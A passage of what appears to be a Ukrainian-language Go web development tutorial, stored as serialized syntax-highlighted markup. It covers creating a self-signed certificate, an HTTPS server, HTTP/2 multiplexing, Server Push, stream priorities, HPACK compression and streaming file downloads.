розробки",[5464,32853,32855],{"className":7017,"code":32854,"language":7019,"meta":5472,"style":5472},"openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt \\\n  -days 365 -nodes -subj \"\u002FCN=localhost\"\n",[5236,32856,32857,32888],{"__ignoreMap":5472},[5557,32858,32859,32862,32865,32868,32871,32874,32877,32880,32883,32886],{"class":5559,"line":5560},[5557,32860,32861],{"class":5637},"openssl",[5557,32863,32864],{"class":5592}," req",[5557,32866,32867],{"class":5563}," -x509",[5557,32869,32870],{"class":5563}," -newkey",[5557,32872,32873],{"class":5592}," rsa:4096",[5557,32875,32876],{"class":5563}," -keyout",[5557,32878,32879],{"class":5592}," server.key",[5557,32881,32882],{"class":5563}," -out",[5557,32884,32885],{"class":5592}," server.crt",[5557,32887,31742],{"class":6358},[5557,32889,32890,32893,32896,32899,32902],{"class":5559,"line":5571},[5557,32891,32892],{"class":5563},"  -days",[5557,32894,32895],{"class":6134}," 365",[5557,32897,32898],{"class":5563}," -nodes",[5557,32900,32901],{"class":5563}," -subj",[5557,32903,32904],{"class":5592}," \"\u002FCN=localhost\"\n",[5348,32906,32907,32908,5222,32910,5268],{},"Ця команда створить два файли: ",[5236,32909,32837],{},[5236,32911,32846],{},[7167,32913,32915],{"id":32914},"запуск-https-сервера","Запуск HTTPS-сервера",[5464,32917,32919],{"className":5550,"code":32918,"language":5553,"meta":5472,"style":5472},"package main\n\nimport (\n    \"fmt\"\n    \"log\"\n    \"net\u002Fhttp\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n    mux.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"🔒 Захищене з'єднання через HTTPS\")\n    })\n\n    server := &http.Server{\n        Addr:    \":8443\",\n        Handler: mux,\n    }\n\n    fmt.Println(\"🔐 HTTPS-сервер запущено на https:\u002F\u002Flocalhost:8443\")\n    if err := server.ListenAndServeTLS(\"server.crt\", \"server.key\"); err != nil {\n        log.Fatalf(\"Помилка запуску HTTPS-сервера: %v\", err)\n    }\n}\n",[5236,32920,32921,32927,32931,32937,32941,32945,32949,32953,32957,32965,32979,33019,33038,33042,33046,33060,33071,33081,33085,33089,33104,33138,33161,33165],{"__ignoreMap":5472},[5557,32922,32923,32925],{"class":5559,"line":5560},[5557,32924,5564],{"class":5563},[5557,32926,5568],{"class":5567},[5557,32928,32929],{"class":5559,"line":5571},[5557,32930,5575],{"emptyLinePlaceholder":5574},[5557,32932,32933,32935],{"class":5559,"line":5578},[5557,32934,5582],{"class":5581},[5557,32936,5586],{"class":5585},[5557,32938,32939],{"class":5559,"line":5589},[5557,32940,5599],{"class":5592},[5557,32942,32943],{"class":5559,"line":5596},[5557,32944,5605],{"class":5592},[5557,32946,32947],{"class":5559,"line":5602},[5557,32948,12286],{"class":5592},[5557,32950,32951],{"class":5559,"line":5608},[5557,32952,5623],{"class":5585},[5557,32954,32955],{"class":5559,"line":5614},[5557,32956,5575],{"emptyLinePlaceholder":5574},[5557,32958,32959,32961,32963],{"class":5559,"line":5620},[5557,32960,5634],{"class":5563},[5557,32962,5638],{"class":5637},[5557,32964,5641],{"class":5585},[5557,32966,32967,32969,32971,32973,32975,32977],{"class":5559,"line":5626},[5557,32968,12612],{"class":5654},[5557,32970,5663],{"class":5585},[5557,32972,8928],{"class":5654},[5557,32974,5268],{"class":5585},[5557,32976,12621],{"class":5637},[5557,32978,5752],{"class":5585},[5557,32980,32981,32983,32985,32987,32989,32991,32993,32995,32997,32999,33001,33003,33005,33007,33009,33011,33013,33015,33017],{"class":5559,"line":5631},[5557,32982,12612],{"class":5654},[5557,32984,5268],{"class":5585},[5557,32986,12316],{"class":5637},[5557,32988,5673],{"class":5585},[5557,32990,9017],{"class":5592},[5557,32992,5305],{"class":5585},[5557,32994,5634],{"class":5563},[5557,32996,5673],{"class":5585},[5557,32998,8909],{"class":5654},[5557,33000,8912],{"class":5567},[5557,33002,5268],{"class":5585},[5557,33004,8917],{"class":5567},[5557,33006,5305],{"class":5585},[5557,33008,8922],{"class":5654},[5557,33010,8925],{"class":5585},[5557,33012,8928],{"class":5567},[5557,33014,5268],{"class":5585},[5557,33016,8933],{"class":5567},[5557,33018,5949],{"class":5585},[5557,33020,33021,33023,33025,33027,33029,33031,33033,33036],{"class":5559,"line":5644},[5557,33022,11530],{"class":5654},[5557,33024,5268],{"class":5585},[5557,33026,9146],{"class":5637},[5557,33028,5673],{"class":5585},[5557,33030,8909],{"class":5654},[5557,33032,5305],{"class":5585},[5557,33034,33035],{"class":5592},"\"🔒 Захищене з'єднання через HTTPS\"",[5557,33037,5623],{"class":5585},[5557,33039,33040],{"class":5559,"line":5651},[5557,33041,11978],{"class":5585},[5557,33043,33044],{"class":5559,"line":5686},[5557,33045,5575],{"emptyLinePlaceholder":5574},[5557,33047,33048,33050,33052,33054,33056,33058],{"class":5559,"line":5704},[5557,33049,22178],{"class":5654},[5557,33051,8973],{"class":5585},[5557,33053,8928],{"class":5567},[5557,33055,5268],{"class":5585},[5557,33057,21760],{"class":5567},[5557,33059,6695],{"class":5585},[5557,33061,33062,33064,33066,33069],{"class":5559,"line":5732},[5557,33063,22193],{"class":5654},[5557,33065,9002],{"class":5585},[5557,33067,33068],{"class":5592},"\":8443\"",[5557,33070,6710],{"class":5585},[5557,33072,33073,33075,33077,33079],{"class":5559,"line":5738},[5557,33074,22204],{"class":5654},[5557,33076,6704],{"class":5585},[5557,33078,12726],{"class":5654},[5557,33080,6710],{"class":5585},[5557,33082,33083],{"class":5559,"line":5755},[5557,33084,5735],{"class":5585},[5557,33086,33087],{"class":5559,"line":5760},[5557,33088,5575],{"emptyLinePlaceholder":5574},[5557,33090,33091,33093,33095,33097,33099,33102],{"class":5559,"line":5778},[5557,33092,5763],{"class":5654},[5557,33094,5268],{"class":5585},[5557,33096,5768],{"class":5637},[5557,33098,5673],{"class":5585},[5557,33100,33101],{"class":5592},"\"🔐 HTTPS-сервер запущено на https:\u002F\u002Flocalhost:8443\"",[5557,33103,5623],{"class":5585},[5557,33105,33106,33108,33110,33112,33114,33116,33118,33120,33123,33125,33128,33130,33132,33134,33136],{"class":5559,"line":5794},[5557,33107,5689],{"class":5581},[5557,33109,5692],{"class":5654},[5557,33111,5663],{"class":5585},[5557,33113,22578],{"class":5654},[5557,33115,5268],{"class":5585},[5557,33117,21958],{"class":5637},[5557,33119,5673],{"class":5585},[5557,33121,33122],{"class":5592},"\"server.crt\"",[5557,33124,5305],{"class":5585},[5557,33126,33127],{"class":5592},"\"server.key\"",[5557,33129,15210],{"class":5585},[5557,33131,5660],{"class":5654},[5557,33133,5695],{"class":5585},[5557,33135,5698],{"class":5563},[5557,33137,5701],{"class":5585},[5557,33139,33140,33142,33144,33146,33148,33151,33153,33155,33157,33159],{"class":5559,"line":5799},[5557,33141,5707],{"class":5654},[5557,33143,5268],{"class":5585},[5557,33145,5712],{"class":5637},[5557,33147,5673],{"class":5585},[5557,33149,33150],{"class":5592},"\"Помилка запуску HTTPS-сервера: ",[5557,33152,5720],{"class":5654},[5557,33154,5723],{"class":5592},[5557,33156,5305],{"class":5585},[5557,33158,5660],{"class":5654},[5557,33160,5623],{"class":5585},[5557,33162,33163],{"class":5559,"line":5807},[5557,33164,5735],{"class":5585},[5557,33166,33167],{"class":5559,"line":5813},[5557,33168,5922],{"class":5585},[5348,33170,33171,33172,33175],{},"Тепер відкрийте браузер і перейдіть за адресою ",[5236,33173,33174],{},"https:\u002F\u002Flocalhost:8443",". Браузер попередить вас про самопідписний сертифікат (оскільки він не довіряється жодному центру сертифікації), але ви зможете додати виключення і побачити захищене з'єднання.",[5430,33177,33178,33181,33182,33185,33186,5226,33188,33190],{},[5205,33179,33180],{},"Автоматичне визначення HTTP\u002F2:"," Якщо клієнт підтримує HTTP\u002F2 (всі сучасні браузери), Go-сервер автоматично ",[5205,33183,33184],{},"перемикається на HTTP\u002F2"," при TLS-з'єднанні через механізм ",[5205,33187,7652],{},[5228,33189,7656],{},"). Вам не потрібно нічого налаштовувати — Go-рантайм сам обирає найкращий протокол.",[7167,33192,33194],{"id":33193},"http2-специфічні-можливості-глибше-розуміння","HTTP\u002F2 специфічні можливості: глибше розуміння",[5348,33196,33197],{},"Хоча Go автоматично підтримує HTTP\u002F2, розуміння його унікальних можливостей дозволяє проєктувати більш ефективні API та оптимізувати продуктивність.",[7759,33199,33201],{"id":33200},"мультиплексування-потоків-паралельні-запити-в-одному-зєднанні","Мультиплексування потоків: паралельні запити в одному з'єднанні",[5348,33203,33204,33205,33208,33209,33211],{},"У HTTP\u002F1.1, навіть з постійними з'єднаннями, запити обробляються ",[5205,33206,33207],{},"послідовно"," — сервер відповідає на перший запит, потім на другий, потім на третій. Це створює ",[5205,33210,7293],{},": якщо перший запит обробляється довго (складний SQL-запит, зовнішній API), всі наступні запити чекають у черзі.",[5348,33213,33214,33215,5226,33217,33219,33220,5226,33223,33226,33227,33230],{},"HTTP\u002F2 вирішує це через ",[5205,33216,7314],{},[5228,33218,7317],{},"): всі запити та відповіді розбиваються на маленькі ",[5205,33221,33222],{},"фрейми",[5228,33224,33225],{},"frames","), які передаються паралельно в межах одного TCP-з'єднання. Кожен логічний запит отримує унікальний ",[5205,33228,33229],{},"Stream ID",", і сервер може відповідати на запити у будь-якому порядку.",[7425,33232,33234],{"alt":33233},"HTTP\u002F1.1 vs HTTP\u002F2 мультиплексування",[5464,33235,33237],{"className":7430,"code":33236,"language":7432,"meta":5472,"style":5472},"@startuml\nskinparam style plain\nskinparam backgroundColor #FFFFFF\n\npackage \"HTTP\u002F1.1: послідовна обробка\" #FEE2E2 {\n    rectangle \"Запит 1 (500ms)\" as R1_1 #FEF3C7\n    rectangle \"Запит 2 (50ms)\" as R1_2 #DBEAFE\n    rectangle \"Запит 3 (100ms)\" as R1_3 #DCFCE7\n    \n    R1_1 -down-> R1_2\n    R1_2 -down-> R1_3\n    \n    note bottom of R1_3 #FEE2E2\n        Загальний час: 650ms\n        Запит 2 чекав 500ms!\n    end note\n}\n\npackage \"HTTP\u002F2: паралельна обробка\" #DCFCE7 {\n    rectangle \"Запит 1 (500ms)\" as R2_1 #FEF3C7\n    rectangle \"Запит 2 (50ms)\" as R2_2 #DBEAFE\n    rectangle \"Запит 3 (100ms)\" as R2_3 #E0E7FF\n    \n    note bottom #E0F2FE\n        Загальний час: 500ms\n        Всі запити обробляються паралельно!\n    end note\n}\n\n@enduml\n",[5236,33238,33239,33243,33247,33251,33255,33260,33265,33270,33275,33279,33284,33289,33293,33298,33303,33308,33312,33316,33320,33325,33330,33335,33340,33344,33349,33354,33359,33363,33367,33371],{"__ignoreMap":5472},[5557,33240,33241],{"class":5559,"line":5560},[5557,33242,7439],{},[5557,33244,33245],{"class":5559,"line":5571},[5557,33246,7444],{},[5557,33248,33249],{"class":5559,"line":5578},[5557,33250,7449],{},[5557,33252,33253],{"class":5559,"line":5589},[5557,33254,5575],{"emptyLinePlaceholder":5574},[5557,33256,33257],{"class":5559,"line":5596},[5557,33258,33259],{},"package \"HTTP\u002F1.1: послідовна обробка\" #FEE2E2 {\n",[5557,33261,33262],{"class":5559,"line":5602},[5557,33263,33264],{},"    rectangle \"Запит 1 (500ms)\" as R1_1 #FEF3C7\n",[5557,33266,33267],{"class":5559,"line":5608},[5557,33268,33269],{},"    rectangle \"Запит 2 (50ms)\" as R1_2 #DBEAFE\n",[5557,33271,33272],{"class":5559,"line":5614},[5557,33273,33274],{},"    rectangle \"Запит 3 (100ms)\" as R1_3 #DCFCE7\n",[5557,33276,33277],{"class":5559,"line":5620},[5557,33278,10877],{},[5557,33280,33281],{"class":5559,"line":5626},[5557,33282,33283],{},"    R1_1 -down-> R1_2\n",[5557,33285,33286],{"class":5559,"line":5631},[5557,33287,33288],{},"    R1_2 -down-> R1_3\n",[5557,33290,33291],{"class":5559,"line":5644},[5557,33292,10877],{},[5557,33294,33295],{"class":5559,"line":5651},[5557,33296,33297],{},"    note bottom of R1_3 #FEE2E2\n",[5557,33299,33300],{"class":5559,"line":5686},[5557,33301,33302],{},"        Загальний час: 650ms\n",[5557,33304,33305],{"class":5559,"line":5704},[5557,33306,33307],{},"        Запит 2 чекав 500ms!\n",[5557,33309,33310],{"class":5559,"line":5732},[5557,33311,7483],{},[5557,33313,33314],{"class":5559,"line":5738},[5557,33315,5922],{},[5557,33317,33318],{"class":5559,"line":5755},[5557,33319,5575],{"emptyLinePlaceholder":5574},[5557,33321,33322],{"class":5559,"line":5760},[5557,33323,33324],{},"package \"HTTP\u002F2: паралельна обробка\" #DCFCE7 {\n",[5557,33326,33327],{"class":5559,"line":5778},[5557,33328,33329],{},"    rectangle \"Запит 1 (500ms)\" as R2_1 #FEF3C7\n",[5557,33331,33332],{"class":5559,"line":5794},[5557,33333,33334],{},"    rectangle \"Запит 2 (50ms)\" as R2_2 #DBEAFE\n",[5557,33336,33337],{"class":5559,"line":5799},[5557,33338,33339],{},"    rectangle \"Запит 3 (100ms)\" as R2_3 #E0E7FF\n",[5557,33341,33342],{"class":5559,"line":5807},[5557,33343,10877],{},[5557,33345,33346],{"class":5559,"line":5813},[5557,33347,33348],{},"    note bottom #E0F2FE\n",[5557,33350,33351],{"class":5559,"line":5835},[5557,33352,33353],{},"        Загальний час: 500ms\n",[5557,33355,33356],{"class":5559,"line":5849},[5557,33357,33358],{},"        Всі запити обробляються паралельно!\n",[5557,33360,33361],{"class":5559,"line":5875},[5557,33362,7483],{},[5557,33364,33365],{"class":5559,"line":5881},[5557,33366,5922],{},[5557,33368,33369],{"class":5559,"line":5887},[5557,33370,5575],{"emptyLinePlaceholder":5574},[5557,33372,33373],{"class":5559,"line":5892},[5557,33374,7632],{},[7759,33376,33378],{"id":33377},"server-push-проактивна-відправка-ресурсів","Server Push: проактивна відправка ресурсів",[5348,33380,33381,33384,33385,33388],{},[5205,33382,33383],{},"Server Push"," дозволяє серверу ",[5205,33386,33387],{},"відправляти ресурси клієнту до того, як той їх запросив",". Коли браузер запитує HTML-сторінку, сервер може одразу \"проштовхнути\" CSS, JavaScript та зображення, не чекаючи, поки браузер розпарсить HTML і відправить додаткові запити.",[5348,33390,33391],{},[5205,33392,33393],{},"Приклад сценарію:",[5477,33395,33396,33401,33414],{},[5201,33397,33398,33399],{},"Клієнт: ",[5236,33400,5423],{},[5201,33402,33403,33404,33407,33408,5222,33411,5268],{},"Сервер аналізує ",[5236,33405,33406],{},"index.html"," і бачить, що вона посилається на ",[5236,33409,33410],{},"\u002Fstyles.css",[5236,33412,33413],{},"\u002Fapp.js",[5201,33415,33416,33417,33420,33421],{},"Сервер ",[5205,33418,33419],{},"одночасно"," відправляє:\n",[5198,33422,33423,33428,33437],{},[5201,33424,33425,33426,5268],{},"Відповідь на ",[5236,33427,5423],{},[5201,33429,33430,33433,33434,33436],{},[5205,33431,33432],{},"Push-потік"," для ",[5236,33435,33410],{}," (клієнт його не запитував!).",[5201,33438,33439,33433,33441,5268],{},[5205,33440,33432],{},[5236,33442,33413],{},[5348,33444,33445,33446,33449],{},"Коли браузер парсить HTML і зустрічає ",[5236,33447,33448],{},"\u003Clink rel=\"stylesheet\" href=\"\u002Fstyles.css\">",", файл вже знаходиться в кеші браузера — нуль додаткових запитів!",[5348,33451,33452],{},[5205,33453,33454],{},"Реалізація Server Push у Go:",[5464,33456,33458],{"className":5550,"code":33457,"language":5553,"meta":5472,"style":5472},"func indexHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Перевіряємо, чи підтримує клієнт HTTP\u002F2 Push\n    pusher, ok := w.(http.Pusher)\n    if ok {\n        \u002F\u002F Проактивно відправляємо критичні ресурси\n        if err := pusher.Push(\"\u002Fstatic\u002Fstyles.css\", nil); err != nil {\n            log.Printf(\"Failed to push: %v\", err)\n        }\n        if err := pusher.Push(\"\u002Fstatic\u002Fapp.js\", nil); err != nil {\n            log.Printf(\"Failed to push: %v\", err)\n        }\n    }\n\n    \u002F\u002F Повертаємо HTML\n    w.Header().Set(\"Content-Type\", \"text\u002Fhtml; charset=utf-8\")\n    fmt.Fprintf(w, `\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Clink rel=\"stylesheet\" href=\"\u002Fstatic\u002Fstyles.css\">\n\u003C\u002Fhead>\n\u003Cbody>\n    \u003Ch1>Вітаємо!\u003C\u002Fh1>\n    \u003Cscript src=\"\u002Fstatic\u002Fapp.js\">\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n    `)\n}\n",[5236,33459,33460,33491,33496,33518,33526,33531,33564,33586,33590,33623,33645,33649,33653,33657,33662,33684,33701,33706,33711,33716,33721,33726,33731,33736,33741,33746,33751,33758],{"__ignoreMap":5472},[5557,33461,33462,33464,33467,33469,33471,33473,33475,33477,33479,33481,33483,33485,33487,33489],{"class":5559,"line":5560},[5557,33463,5634],{"class":5563},[5557,33465,33466],{"class":5637}," indexHandler",[5557,33468,5673],{"class":5585},[5557,33470,8909],{"class":5654},[5557,33472,8912],{"class":5567},[5557,33474,5268],{"class":5585},[5557,33476,8917],{"class":5567},[5557,33478,5305],{"class":5585},[5557,33480,8922],{"class":5654},[5557,33482,8925],{"class":5585},[5557,33484,8928],{"class":5567},[5557,33486,5268],{"class":5585},[5557,33488,8933],{"class":5567},[5557,33490,5949],{"class":5585},[5557,33492,33493],{"class":5559,"line":5571},[5557,33494,33495],{"class":5647},"    \u002F\u002F Перевіряємо, чи підтримує клієнт HTTP\u002F2 Push\n",[5557,33497,33498,33500,33502,33504,33506,33508,33510,33512,33514,33516],{"class":5559,"line":5578},[5557,33499,20826],{"class":5654},[5557,33501,5305],{"class":5585},[5557,33503,19145],{"class":5654},[5557,33505,5663],{"class":5585},[5557,33507,8909],{"class":5654},[5557,33509,20280],{"class":5585},[5557,33511,8928],{"class":5567},[5557,33513,5268],{"class":5585},[5557,33515,20843],{"class":5567},[5557,33517,5623],{"class":5585},[5557,33519,33520,33522,33524],{"class":5559,"line":5589},[5557,33521,5689],{"class":5581},[5557,33523,20852],{"class":5654},[5557,33525,5701],{"class":5585},[5557,33527,33528],{"class":5559,"line":5596},[5557,33529,33530],{"class":5647},"        \u002F\u002F Проактивно відправляємо критичні ресурси\n",[5557,33532,33533,33535,33537,33539,33541,33543,33545,33547,33550,33552,33554,33556,33558,33560,33562],{"class":5559,"line":5602},[5557,33534,5838],{"class":5581},[5557,33536,5692],{"class":5654},[5557,33538,5663],{"class":5585},[5557,33540,20870],{"class":5654},[5557,33542,5268],{"class":5585},[5557,33544,20875],{"class":5637},[5557,33546,5673],{"class":5585},[5557,33548,33549],{"class":5592},"\"\u002Fstatic\u002Fstyles.css\"",[5557,33551,5305],{"class":5585},[5557,33553,5698],{"class":5563},[5557,33555,15210],{"class":5585},[5557,33557,5660],{"class":5654},[5557,33559,5695],{"class":5585},[5557,33561,5698],{"class":5563},[5557,33563,5701],{"class":5585},[5557,33565,33566,33568,33570,33572,33574,33576,33578,33580,33582,33584],{"class":5559,"line":5608},[5557,33567,5852],{"class":5654},[5557,33569,5268],{"class":5585},[5557,33571,5857],{"class":5637},[5557,33573,5673],{"class":5585},[5557,33575,20907],{"class":5592},[5557,33577,5720],{"class":5654},[5557,33579,5723],{"class":5592},[5557,33581,5305],{"class":5585},[5557,33583,5660],{"class":5654},[5557,33585,5623],{"class":5585},[5557,33587,33588],{"class":5559,"line":5614},[5557,33589,5884],{"class":5585},[5557,33591,33592,33594,33596,33598,33600,33602,33604,33606,33609,33611,33613,33615,33617,33619,33621],{"class":5559,"line":5620},[5557,33593,5838],{"class":5581},[5557,33595,5692],{"class":5654},[5557,33597,5663],{"class":5585},[5557,33599,20870],{"class":5654},[5557,33601,5268],{"class":5585},[5557,33603,20875],{"class":5637},[5557,33605,5673],{"class":5585},[5557,33607,33608],{"class":5592},"\"\u002Fstatic\u002Fapp.js\"",[5557,33610,5305],{"class":5585},[5557,33612,5698],{"class":5563},[5557,33614,15210],{"class":5585},[5557,33616,5660],{"class":5654},[5557,33618,5695],{"class":5585},[5557,33620,5698],{"class":5563},[5557,33622,5701],{"class":5585},[5557,33624,33625,33627,33629,33631,33633,33635,33637,33639,33641,33643],{"class":5559,"line":5626},[5557,33626,5852],{"class":5654},[5557,33628,5268],{"class":5585},[5557,33630,5857],{"class":5637},[5557,33632,5673],{"class":5585},[5557,33634,20907],{"class":5592},[5557,33636,5720],{"class":5654},[5557,33638,5723],{"class":5592},[5557,33640,5305],{"class":5585},[5557,33642,5660],{"class":5654},[5557,33644,5623],{"class":5585},[5557,33646,33647],{"class":5559,"line":5631},[5557,33648,5884],{"class":5585},[5557,33650,33651],{"class":5559,"line":5644},[5557,33652,5735],{"class":5585},[5557,33654,33655],{"class":5559,"line":5651},[5557,33656,5575],{"emptyLinePlaceholder":5574},[5557,33658,33659],{"class":5559,"line":5686},[5557,33660,33661],{"class":5647},"    \u002F\u002F Повертаємо HTML\n",[5557,33663,33664,33666,33668,33670,33672,33674,33676,33678,33680,33682],{"class":5559,"line":5704},[5557,33665,9121],{"class":5654},[5557,33667,5268],{"class":5585},[5557,33669,10972],{"class":5637},[5557,33671,11043],{"class":5585},[5557,33673,11046],{"class":5637},[5557,33675,5673],{"class":5585},[5557,33677,11098],{"class":5592},[5557,33679,5305],{"class":5585},[5557,33681,6456],{"class":5592},[5557,33683,5623],{"class":5585},[5557,33685,33686,33688,33690,33692,33694,33696,33698],{"class":5559,"line":5732},[5557,33687,5763],{"class":5654},[5557,33689,5268],{"class":5585},[5557,33691,9146],{"class":5637},[5557,33693,5673],{"class":5585},[5557,33695,8909],{"class":5654},[5557,33697,5305],{"class":5585},[5557,33699,33700],{"class":5592},"`\n",[5557,33702,33703],{"class":5559,"line":5738},[5557,33704,33705],{"class":5592},"\u003C!DOCTYPE html>\n",[5557,33707,33708],{"class":5559,"line":5755},[5557,33709,33710],{"class":5592},"\u003Chtml>\n",[5557,33712,33713],{"class":5559,"line":5760},[5557,33714,33715],{"class":5592},"\u003Chead>\n",[5557,33717,33718],{"class":5559,"line":5778},[5557,33719,33720],{"class":5592},"    \u003Clink rel=\"stylesheet\" href=\"\u002Fstatic\u002Fstyles.css\">\n",[5557,33722,33723],{"class":5559,"line":5794},[5557,33724,33725],{"class":5592},"\u003C\u002Fhead>\n",[5557,33727,33728],{"class":5559,"line":5799},[5557,33729,33730],{"class":5592},"\u003Cbody>\n",[5557,33732,33733],{"class":5559,"line":5807},[5557,33734,33735],{"class":5592},"    \u003Ch1>Вітаємо!\u003C\u002Fh1>\n",[5557,33737,33738],{"class":5559,"line":5813},[5557,33739,33740],{"class":5592},"    \u003Cscript src=\"\u002Fstatic\u002Fapp.js\">\u003C\u002Fscript>\n",[5557,33742,33743],{"class":5559,"line":5835},[5557,33744,33745],{"class":5592},"\u003C\u002Fbody>\n",[5557,33747,33748],{"class":5559,"line":5849},[5557,33749,33750],{"class":5592},"\u003C\u002Fhtml>\n",[5557,33752,33753,33756],{"class":5559,"line":5875},[5557,33754,33755],{"class":5592},"    `",[5557,33757,5623],{"class":5585},[5557,33759,33760],{"class":5559,"line":5881},[5557,33761,5922],{"class":5585},[7098,33763,33764,33767,33768,33771,33772,33775],{},[5205,33765,33766],{},"Коли НЕ використовувати Server Push:"," Якщо браузер уже має ресурс у кеші, Server Push буде ",[5205,33769,33770],{},"марнотратством трафіку"," — сервер відправить файл повторно. Також, якщо клієнт використовує повільне з'єднання, проштовхування великих ресурсів може заблокувати критичні дані. ",[5205,33773,33774],{},"Використовуйте обережно"," та лише для критичних ресурсів (CSS above-the-fold, fonts).",[7759,33777,33779],{"id":33778},"пріоритизація-потоків-контроль-порядку-обробки","Пріоритизація потоків: контроль порядку обробки",[5348,33781,33782,33783,5226,33786,33789],{},"HTTP\u002F2 дозволяє клієнту вказати ",[5205,33784,33785],{},"пріоритети потоків",[5228,33787,33788],{},"stream priorities","): які ресурси важливіші і повинні передаватися першими. Браузери автоматично встановлюють пріоритети:",[5198,33791,33792,33798,33804],{},[5201,33793,33794,33797],{},[5205,33795,33796],{},"Найвищий пріоритет:"," HTML, критичні CSS.",[5201,33799,33800,33803],{},[5205,33801,33802],{},"Середній пріоритет:"," JavaScript, шрифти.",[5201,33805,33806,33809],{},[5205,33807,33808],{},"Низький пріоритет:"," зображення нижче згину сторінки, аналітика.",[5348,33811,33812,33813,33816],{},"Сервер може використовувати ці пріоритети для оптимізації порядку відправки байтів. У Go стандартна бібліотека автоматично підтримує пріоритети, але сторонні бібліотеки (як ",[5236,33814,33815],{},"x\u002Fnet\u002Fhttp2",") надають більше контролю.",[7759,33818,33820],{"id":33819},"hpack-стиснення-заголовків","HPACK: стиснення заголовків",[5348,33822,33823,33824,5305,33826,5305,33828,33830,33831,33834,33835,33838],{},"HTTP-заголовки можуть бути дуже об'ємними: ",[5236,33825,7336],{},[5236,33827,7339],{},[5236,33829,8155],{}," часто містять сотні байтів і ",[5205,33832,33833],{},"повторюються в кожному запиті",". HTTP\u002F2 використовує алгоритм ",[5205,33836,33837],{},"HPACK"," для стиснення заголовків:",[5477,33840,33841,33848,33855],{},[5201,33842,33843,33844,33847],{},"Створює ",[5205,33845,33846],{},"динамічну таблицю"," спільних заголовків між клієнтом і сервером.",[5201,33849,33850,33851,33854],{},"Замість відправки повного заголовка ",[5236,33852,33853],{},"Cookie: session_id=abc123..."," (50 байт), HTTP\u002F2 відправляє індекс у таблиці (1–2 байти).",[5201,33856,33857],{},"Нові заголовки стискаються через Huffman-кодування.",[5348,33859,33860,33861,33864],{},"Результат: заголовки займають ",[5205,33862,33863],{},"у 5–10 разів менше"," місця, ніж у HTTP\u002F1.1.",[5430,33866,33867,33870,33871,33873],{},[5205,33868,33869],{},"Автоматичне стиснення у Go:"," Стандартна бібліотека ",[5236,33872,5238],{}," автоматично використовує HPACK для HTTP\u002F2-з'єднань. Вам не потрібно нічого налаштовувати — це відбувається на рівні протоколу. Але розуміння HPACK допомагає зрозуміти, чому HTTP\u002F2 набагато ефективніший для API з великою кількістю метаданих.",[5340,33875],{},[5343,33877,33879],{"id":33878},"потокове-введеннявиведення-робота-з-великими-даними","Потокове введення\u002Fвиведення: робота з великими даними",[5348,33881,33882,33883,33886,33887,5222,33889,33891],{},"Одна з найпотужніших можливостей Go — це ",[5205,33884,33885],{},"потокова обробка"," даних через інтерфейси ",[5236,33888,5264],{},[5236,33890,5267],{},". Ви можете передавати великі файли, відео або логи без завантаження всього об'єму даних у пам'ять.",[7167,33893,33895],{"id":33894},"приклад-потокова-передача-великого-файлу","Приклад: потокова передача великого файлу",[5464,33897,33899],{"className":5550,"code":33898,"language":5553,"meta":5472,"style":5472},"func downloadFileHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F Відкриваємо великий файл\n    file, err := os.Open(\".\u002Fdata\u002Flarge-video.mp4\")\n    if err != nil {\n        http.Error(w, \"Файл не знайдено\", http.StatusNotFound)\n        return\n    }\n    defer file.Close()\n\n    \u002F\u002F Отримуємо інформацію про файл\n    fileInfo, _ := file.Stat()\n\n    \u002F\u002F Встановлюємо заголовки для завантаження\n    w.Header().Set(\"Content-Type\", \"video\u002Fmp4\")\n    w.Header().Set(\"Content-Disposition\", \"attachment; filename=video.mp4\")\n    w.Header().Set(\"Content-Length\", fmt.Sprintf(\"%d\", fileInfo.Size()))\n\n    \u002F\u002F Потокова передача файлу клієнту\n    \u002F\u002F io.Copy читає з file та записує у w порціями (за замовчуванням 32 КБ)\n    if _, err := io.Copy(w, file); err != nil {\n        log.Printf(\"Помилка передачі файлу: %v\", err)\n    }\n}\n",[5236,33900,33901,33932,33937,33961,33973,34000,34004,34008,34020,34024,34029,34049,34053,34058,34081,34105,34150,34154,34159,34164,34200,34223,34227],{"__ignoreMap":5472},[5557,33902,33903,33905,33908,33910,33912,33914,33916,33918,33920,33922,33924,33926,33928,33930],{"class":5559,"line":5560},[5557,33904,5634],{"class":5563},[5557,33906,33907],{"class":5637}," downloadFileHandler",[5557,33909,5673],{"class":5585},[5557,33911,8909],{"class":5654},[5557,33913,8912],{"class":5567},[5557,33915,5268],{"class":5585},[5557,33917,8917],{"class":5567},[5557,33919,5305],{"class":5585},[5557,33921,8922],{"class":5654},[5557,33923,8925],{"class":5585},[5557,33925,8928],{"class":5567},[5557,33927,5268],{"class":5585},[5557,33929,8933],{"class":5567},[5557,33931,5949],{"class":5585},[5557,33933,33934],{"class":5559,"line":5571},[5557,33935,33936],{"class":5647},"    \u002F\u002F Відкриваємо великий файл\n",[5557,33938,33939,33941,33943,33945,33947,33949,33951,33954,33956,33959],{"class":5559,"line":5578},[5557,33940,32395],{"class":5654},[5557,33942,5305],{"class":5585},[5557,33944,5660],{"class":5654},[5557,33946,5663],{"class":5585},[5557,33948,18373],{"class":5654},[5557,33950,5268],{"class":5585},[5557,33952,33953],{"class":5637},"Open",[5557,33955,5673],{"class":5585},[5557,33957,33958],{"class":5592},"\".\u002Fdata\u002Flarge-video.mp4\"",[5557,33960,5623],{"class":5585},[5557,33962,33963,33965,33967,33969,33971],{"class":5559,"line":5589},[5557,33964,5689],{"class":5581},[5557,33966,5692],{"class":5654},[5557,33968,5695],{"class":5585},[5557,33970,5698],{"class":5563},[5557,33972,5701],{"class":5585},[5557,33974,33975,33977,33979,33981,33983,33985,33987,33990,33992,33994,33996,33998],{"class":5559,"line":5596},[5557,33976,9300],{"class":5654},[5557,33978,5268],{"class":5585},[5557,33980,9267],{"class":5637},[5557,33982,5673],{"class":5585},[5557,33984,8909],{"class":5654},[5557,33986,5305],{"class":5585},[5557,33988,33989],{"class":5592},"\"Файл не 